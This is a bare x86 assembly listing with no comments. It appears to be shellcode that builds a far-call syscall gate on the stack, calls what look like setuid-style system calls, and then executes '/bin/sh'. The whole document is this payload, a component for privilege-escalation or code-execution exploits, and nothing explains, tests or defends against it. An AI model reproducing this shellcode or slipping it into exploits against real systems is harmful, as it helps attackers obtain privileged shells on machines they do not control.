.globl main main: movl %esp,%ebp subl $0x64,%esp xorl %edx,%edx movb $0x9a,-50(%ebp) movl %edx,-49(%ebp) movl %edx,-45(%ebp) movb $0x07,-45(%ebp) movb $0xC3,-43(%ebp) movl %edx,-4(%ebp) subl $50,%ebp pushl %edx pushl %edx pushl %edx movb $0x17,%al call %ebp addl $0x4,%esp movb $0x8d,%al call %ebp addl $0x4,%esp movl $addy,42(%ebp) leal 42(%ebp),%eax pushl %eax movl 42(%ebp),%eax pushl %eax subl $0x4,%esp xorl %eax,%eax movb $0x3b,%al jmp %ebp addy: .string "/bin/sh"